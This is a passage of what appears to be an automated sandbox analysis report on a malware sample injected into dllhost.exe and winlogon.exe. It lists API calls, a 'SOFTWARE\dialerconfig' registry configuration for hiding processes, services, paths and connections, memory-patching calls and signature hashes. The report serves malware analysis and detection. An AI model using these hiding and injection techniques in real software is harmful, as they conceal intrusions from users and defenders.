Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001006
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001015
Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001028
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001037

RegOpenKeyExW.ADVAPI32 ref: 000000014000159E
RegOpenKeyExW.ADVAPI32 ref: 00000001400015CB
RegCloseKey.ADVAPI32 ref: 00000001400015E5
RegOpenKeyExW.ADVAPI32 ref: 0000000140001605
RegCloseKey.ADVAPI32 ref: 0000000140001620
RegOpenKeyExW.ADVAPI32 ref: 0000000140001640
RegCloseKey.ADVAPI32 ref: 000000014000165B
RegOpenKeyExW.ADVAPI32 ref: 000000014000167B
RegCloseKey.ADVAPI32 ref: 0000000140001696
RegOpenKeyExW.ADVAPI32 ref: 00000001400016B6
RegCloseKey.ADVAPI32 ref: 00000001400016D1
RegOpenKeyExW.ADVAPI32 ref: 00000001400016F1
RegCloseKey.ADVAPI32 ref: 000000014000170C
RegOpenKeyExW.ADVAPI32 ref: 000000014000172C
RegCloseKey.ADVAPI32 ref: 0000000140001747
RegOpenKeyExW.ADVAPI32 ref: 0000000140001767
RegCloseKey.ADVAPI32 ref: 0000000140001782
RegCloseKey.ADVAPI32 ref: 000000014000178C

Part of subcall function 0000000140001274: RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400012DF
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400012F0
Part of subcall function 0000000140001274: RegEnumValueW.ADVAPI32 ref: 000000014000134F
Part of subcall function 0000000140001274: StrCmpIW.SHLWAPI ref: 0000000140001388
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013C7
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400013D5
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013F2
Part of subcall function 0000000140001274: HeapFree.KERNEL32 ref: 0000000140001400

Strings

SOFTWARE\dialerconfig, xrefs: 000000014000157E
paths, xrefs: 0000000140001674
process_names, xrefs: 0000000140001639
tcp_remote, xrefs: 0000000140001725
pid, xrefs: 00000001400015FE
startup, xrefs: 00000001400015C1
service_names, xrefs: 00000001400016AF
udp, xrefs: 0000000140001760
tcp_local, xrefs: 00000001400016EA

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValue
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 3993315683-2879589442
Opcode ID: 2b309bef933cfa78f1970bf9c63780987827e412de03e182df68e362c732813e
Instruction ID: 6d7d95916604e4ffecc7df06e5d7207a05ffde36480a44705d0775a9d4fcdff1
Opcode Fuzzy Hash: 2b309bef933cfa78f1970bf9c63780987827e412de03e182df68e362c732813e
Instruction Fuzzy Hash: 6871D6B6310A5086EB12EF66F8507DD23A4FB88BC8F016115FB4D97A7ADE38C554C744

Function 000000014000217C Relevance: 13.6, APIs: 9, Instructions: 100memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0000000140002192
SysAllocString.OLEAUT32 ref: 00000001400021A2
CoInitializeEx.OLE32 ref: 00000001400021AF
CoInitializeSecurity.OLE32 ref: 00000001400021E6
CoCreateInstance.OLE32 ref: 0000000140002226
VariantInit.OLEAUT32 ref: 0000000140002238
CoUninitialize.OLE32 ref: 00000001400022D2
SysFreeString.OLEAUT32 ref: 00000001400022DB
SysFreeString.OLEAUT32 ref: 00000001400022E4

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 52a031b336cdca2811222aac7cadf92182542813affb2ed5c5bed703cbbb13aa
Instruction ID: d557f572b548448d46b4b4e400aa3a3f0eed60a23b27f74265f55533597505c8
Opcode Fuzzy Hash: 52a031b336cdca2811222aac7cadf92182542813affb2ed5c5bed703cbbb13aa
Instruction Fuzzy Hash: D14148B2700A859AE711CF6AE8843DD73B1FB89B99F445225FF0A43A69DF38C159C304

Function 000000014000104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400010B1
RegEnumValueW.ADVAPI32 ref: 0000000140001117
GetProcessHeap.KERNEL32 ref: 000000014000115A
HeapAlloc.KERNEL32 ref: 0000000140001168
GetProcessHeap.KERNEL32 ref: 0000000140001185
HeapFree.KERNEL32 ref: 0000000140001193

Strings

d, xrefs: 00000001400010D6

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: e46bc08d923f3710a6f0b6657d2c3335541900ed0314ce9ea7860df7b3fef6c0
Instruction ID: 42b997484051ce9e6daf6bc3104cf1544be02307d9272190f1dec121864cc25c
Opcode Fuzzy Hash: e46bc08d923f3710a6f0b6657d2c3335541900ed0314ce9ea7860df7b3fef6c0
Instruction Fuzzy Hash: E1412AB2214B84C6E765CF62F4447DA77A1F388B98F448129EB8907B68DF38C589CB40

Function 00000001400017A0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00000001400017D4
RegDeleteKeyW.ADVAPI32 ref: 00000001400017E5
RegEnumKeyExW.ADVAPI32 ref: 0000000140001822
RegCloseKey.ADVAPI32 ref: 0000000140001833
RegDeleteKeyExW.ADVAPI32 ref: 0000000140001850

Strings

SOFTWARE\dialerconfig, xrefs: 00000001400017C6, 000000014000183C

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 3546dc44df7e8b158bd6bb68c849f6718ea14c1894578f294c0a39a5e3694e51
Instruction ID: 46bba928c240728d338613b8de0f0c529c8f41473f23169f90678cf934e6a2b6
Opcode Fuzzy Hash: 3546dc44df7e8b158bd6bb68c849f6718ea14c1894578f294c0a39a5e3694e51
Instruction Fuzzy Hash: 891170B2614A8485E762CF26F8447E923B4F78C7D8F405205EB5D0BAA9DF7CC258CB18

Function 000000014000148C Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400014AD
HeapFree.KERNEL32 ref: 00000001400014BC
GetProcessHeap.KERNEL32 ref: 00000001400014C9
HeapFree.KERNEL32 ref: 00000001400014D8
GetProcessHeap.KERNEL32 ref: 00000001400014E8

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 73bbda701e0c7dde8a9bb72d8052321e3a2b93cd57bfc5b7ac7be5e90a89b24a
Instruction ID: bfc98151d4b55344812eebf6c0d33986cba51fe62d4fd4ad2f52b553ca81b4e9
Opcode Fuzzy Hash: 73bbda701e0c7dde8a9bb72d8052321e3a2b93cd57bfc5b7ac7be5e90a89b24a
Instruction Fuzzy Hash: 4D015AB2600A80D6E705EF67F90438A77A0F78CBC4F494425BB994373ADE38C051C744

Function 00000001400020CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002C20), ref: 00000001400020DC
GetProcAddress.KERNEL32(?,?,00000000,0000000140002C20), ref: 00000001400020EF

Strings

ntdll.dll, xrefs: 00000001400020D2

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 194e60043ded67e07100df29ab3cf77ef87a9a245bef3bebfeeac3078f3da2c5
Instruction ID: 25cfabea84f4b80a2e2eb0d312c031e38d099179bfd8722b5fa94ad88c6eb4a5
Opcode Fuzzy Hash: 194e60043ded67e07100df29ab3cf77ef87a9a245bef3bebfeeac3078f3da2c5
Instruction Fuzzy Hash: 71D0C9F871260182EF2AEB6778553E152515B6DBD5F4940209F0647772DE38C0D48218

Function 0000000140001220 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001226
HeapAlloc.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001235
GetProcessHeap.KERNEL32(?,?,00000000,000000014000153C), ref: 000000014000124F
HeapAlloc.KERNEL32(?,?,00000000,000000014000153C), ref: 0000000140001260

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction ID: 1511527892a3fb8eded8389ff9e17f75ca8e9e74a60c21ae91e61c536c9c2234
Opcode Fuzzy Hash: 47ff0fd0a0ed3f45e3b7bef41ad735f8b2bd5774596bf556d838e1702c2b3cda
Instruction Fuzzy Hash: 39E039F170160086E705DB63E80438936E1EB8CB81F858024DA1907371DF7D84D98750

Function 0000000140001000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001006
HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001015
GetProcessHeap.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001028
HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001037

Memory Dump Source

Source File: 0000002D.00000002.2250681771.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000002D.00000002.2250629569.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250730274.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000002D.00000002.2250756472.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction ID: 4369636dfc19c6b46be3dddb2077bf5e2e0bd1da0e3c66b1f75a47794e7da392
Opcode Fuzzy Hash: c318bc90e8eaf306909f2f681ed70c0ee622173829c7eddc2bb167e283e0ca4a
Instruction Fuzzy Hash: 78E0E5F1751A0086E70ADB63E80439976E1FB8CB91F898024EA1907731EE3884D98A24

Analysis Process: winlogon.exePID: 560, Parent PID: 3820COMMON

Execution Graph

Execution Coverage:	2.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1396
Total number of Limit Nodes:	14

Executed Functions

Function 000002D0165E2990 Relevance: 3.1, APIs: 2, Instructions: 64
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtEnumerateValueKey.NTDLL ref: 000002D0165E29D0
NtEnumerateValueKey.NTDLL ref: 000002D0165E29FF

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: 02ad5e92296fcb81618173faf02e6502a770973b3644f5fa5863a03f8eb30bb4
Instruction ID: 606513798a674d745bee18d13d3790bac6d00b0e698f942fa88182f8053d0d90
Opcode Fuzzy Hash: 02ad5e92296fcb81618173faf02e6502a770973b3644f5fa5863a03f8eb30bb4
Instruction Fuzzy Hash: 3F219D323147918AE7748F56AC8462EF7A4F784BD0FD1812ADE9953B68DF75C941C700

Function 000002D0165E1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E1633
HeapAlloc.KERNEL32 ref: 000002D0165E1642

Part of subcall function 000002D0165E1268: GetProcessHeap.KERNEL32 ref: 000002D0165E126E
Part of subcall function 000002D0165E1268: HeapAlloc.KERNEL32 ref: 000002D0165E127D
Part of subcall function 000002D0165E1268: GetProcessHeap.KERNEL32 ref: 000002D0165E1297
Part of subcall function 000002D0165E1268: HeapAlloc.KERNEL32 ref: 000002D0165E12A8

Part of subcall function 000002D0165E1000: GetProcessHeap.KERNEL32 ref: 000002D0165E1006
Part of subcall function 000002D0165E1000: HeapAlloc.KERNEL32 ref: 000002D0165E1015
Part of subcall function 000002D0165E1000: GetProcessHeap.KERNEL32 ref: 000002D0165E1028
Part of subcall function 000002D0165E1000: HeapAlloc.KERNEL32 ref: 000002D0165E1037

RegOpenKeyExW.KERNELBASE ref: 000002D0165E16B2
RegOpenKeyExW.KERNELBASE ref: 000002D0165E16DF
RegCloseKey.ADVAPI32 ref: 000002D0165E16F9
RegOpenKeyExW.KERNELBASE ref: 000002D0165E1719
RegCloseKey.KERNELBASE ref: 000002D0165E1734
RegOpenKeyExW.KERNELBASE ref: 000002D0165E1754
RegCloseKey.ADVAPI32 ref: 000002D0165E176F
RegOpenKeyExW.KERNELBASE ref: 000002D0165E178F
RegCloseKey.ADVAPI32 ref: 000002D0165E17AA
RegOpenKeyExW.KERNELBASE ref: 000002D0165E17CA
RegCloseKey.ADVAPI32 ref: 000002D0165E17E5
RegOpenKeyExW.KERNELBASE ref: 000002D0165E1805
RegCloseKey.ADVAPI32 ref: 000002D0165E1820
RegOpenKeyExW.KERNELBASE ref: 000002D0165E1840
RegCloseKey.ADVAPI32 ref: 000002D0165E185B
RegOpenKeyExW.KERNELBASE ref: 000002D0165E187B
RegCloseKey.ADVAPI32 ref: 000002D0165E1896
RegCloseKey.KERNELBASE ref: 000002D0165E18A0

Part of subcall function 000002D0165E12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002D0165E1319
Part of subcall function 000002D0165E12BC: GetProcessHeap.KERNEL32 ref: 000002D0165E1327
Part of subcall function 000002D0165E12BC: HeapAlloc.KERNEL32 ref: 000002D0165E1338
Part of subcall function 000002D0165E12BC: RegEnumValueW.ADVAPI32 ref: 000002D0165E1397
Part of subcall function 000002D0165E12BC: GetProcessHeap.KERNEL32 ref: 000002D0165E13DF
Part of subcall function 000002D0165E12BC: HeapAlloc.KERNEL32 ref: 000002D0165E13ED
Part of subcall function 000002D0165E12BC: GetProcessHeap.KERNEL32 ref: 000002D0165E140A
Part of subcall function 000002D0165E12BC: HeapFree.KERNEL32 ref: 000002D0165E1418
Part of subcall function 000002D0165E12BC: lstrlenW.KERNEL32 ref: 000002D0165E1421
Part of subcall function 000002D0165E12BC: GetProcessHeap.KERNEL32 ref: 000002D0165E142F
Part of subcall function 000002D0165E12BC: HeapAlloc.KERNEL32 ref: 000002D0165E143D

Strings

paths, xrefs: 000002D0165E1788
process_names, xrefs: 000002D0165E174D
udp, xrefs: 000002D0165E1874
service_names, xrefs: 000002D0165E17C3
startup, xrefs: 000002D0165E16D5
SOFTWARE\dialerconfig, xrefs: 000002D0165E1692
tcp_remote, xrefs: 000002D0165E1839
pid, xrefs: 000002D0165E1712
tcp_local, xrefs: 000002D0165E17FE

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: d3924993ba69a97cbb640120d18c926c77fb927efbb2cd3c3158469372b4aaa9
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: 84711836210A9086EB209FB2ECD8B9973A5F784B89F801112DE4E47B78EF39C954C744

Function 000002D0165E3BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3BFC
VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3C39
VirtualProtectEx.KERNELBASE(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3C5A

Strings

wr, xrefs: 000002D0165E3C2F

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: 3b414060dabd0ec2e9254b323d1504b4e4152d4d307d5e49c66db89ab63d7900
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: 2C118E36700B9082EF549B65E888769B365FB48B94F94042ADE8D03765EF3ECA448714

Function 000002D0165E5F60 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D0165E5F9B
GetThreadContext.KERNEL32 ref: 000002D0165E6105

Part of subcall function 000002D0165E5D90: GetCurrentThreadId.KERNEL32 ref: 000002D0165E5D94

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 29e89488c60d02e571c563a50b12f5ffc17bf35334ed45369d38bbcd13da9428
Instruction ID: 9662dead72aeb1811aaee060e3677146b33180affbabf47c8df6dc80c19f8b34
Opcode Fuzzy Hash: 29e89488c60d02e571c563a50b12f5ffc17bf35334ed45369d38bbcd13da9428
Instruction Fuzzy Hash: 8AD19B76208B9886DB709B96E89435AB7A0F7C8B84F500117EACD47BB5DF3DCA41CB10

Function 000002D0165E5500 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002D0165E5586

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0f8d15ac30c01b929645c95d941df682bce9e25f3ebbd2babceaff1beb100a48
Instruction ID: 91d6774ad46c386235acd3a2e63854d7d01febc248d6cb54e622c25492326936
Opcode Fuzzy Hash: 0f8d15ac30c01b929645c95d941df682bce9e25f3ebbd2babceaff1beb100a48
Instruction Fuzzy Hash: B302CB32619BC486EB60CB95F89435AF7A0F3C4794F504116EA8E87B68DF7EC954CB00

Function 000002D016582AC0 Relevance: 6.2, APIs: 4, Instructions: 240memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000002D016582B7F
VirtualProtect.KERNELBASE ref: 000002D016582BA9
LoadLibraryA.KERNELBASE ref: 000002D016582C32
VirtualProtect.KERNELBASE ref: 000002D016582DC6

Memory Dump Source

Source File: 00000032.00000003.2231390678.000002D016580000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_3_2d016580000_winlogon.jbxd

Similarity

API ID: Virtual$Protect$AllocLibraryLoad
String ID:
API String ID: 3316853933-0
Opcode ID: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction ID: 6a883d376ffeba66a98c24e7e112f70bcf90b52d4dac6bcf29a405d078b72779
Opcode Fuzzy Hash: 8f72cda2533f8c81468787ed5508378e1f4737ebbed7a3ee8edbd934de0862d8
Instruction Fuzzy Hash: 4591367270129187EB64CF66D88877D7B99FB54BD4F94C1269E0E0BB98DA38DC12C780

Function 000002D0165E3E10 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002D0165E3E96
VirtualAlloc.KERNEL32 ref: 000002D0165E3ED0

Memory Dump Source

Source File: 00000032.00000002.3448686152.000002D0165E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Associated: 00000032.00000002.3448572183.000002D0165E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448840592.000002D0165F6000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3448901031.000002D016601000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449005210.000002D016603000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000032.00000002.3449145667.000002D016609000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: dece628dfa6b96fb4fa24b2af5206c26f3a407fbee04769110ae8374df39886d
Instruction ID: 78a2d3ce8583cb03db523573b82d5d590513b3113fa3180013c3514e51ab8cc0
Opcode Fuzzy Hash: dece628dfa6b96fb4fa24b2af5206c26f3a407fbee04769110ae8374df39886d
Instruction Fuzzy Hash: 7B31E322619AC5C1EF31DA95E89835AE6A4F384784F900526F5CD46BB9DF7ECB50CB00

Function 000002D0165E3620 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002D0165E3639
PathFindFileNameW.SHLWAPI ref: 000002D0165E3648

Part of subcall function 000002D0165E3C74: StrCmpNIW.SHLWAPI(?,?,?,000002D0165E254B), ref: 000002D0165E3C8C

Part of subcall function 000002D0165E3BC0: GetModuleHandleW.KERNEL32(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3BCE
Part of subcall function 000002D0165E3BC0: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002D0165E365F), ref: 000002D0165E3BFC
